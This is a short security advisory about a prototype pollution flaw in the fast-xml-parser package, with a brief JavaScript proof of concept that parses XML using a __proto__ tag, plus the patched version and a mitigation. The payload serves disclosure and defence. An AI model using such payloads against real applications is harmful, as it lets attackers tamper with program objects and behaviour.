All the vulnerabilities related to the version 1.1.0 of the package
fast-xml-parser vulnerable to Prototype Pollution through tag or attribute name
As a part of this vulnerability, user was able to se code using __proto__ as a tag or attribute name.
const { XMLParser, XMLBuilder, XMLValidator} = require("fast-xml-parser");
let XMLdata = "<__proto__><polluted>hacked</polluted></__proto__>"
const parser = new XMLParser();
let jObj = parser.parse(XMLdata);
console.log(jObj.polluted) // should return hacked
The problem has been patched in v4.1.2
User can check for "proto" in the XML string before parsing it to the parser.
https://gist.github.com/Sudistark/a5a45bd0804d522a1392cb5023aa7ef7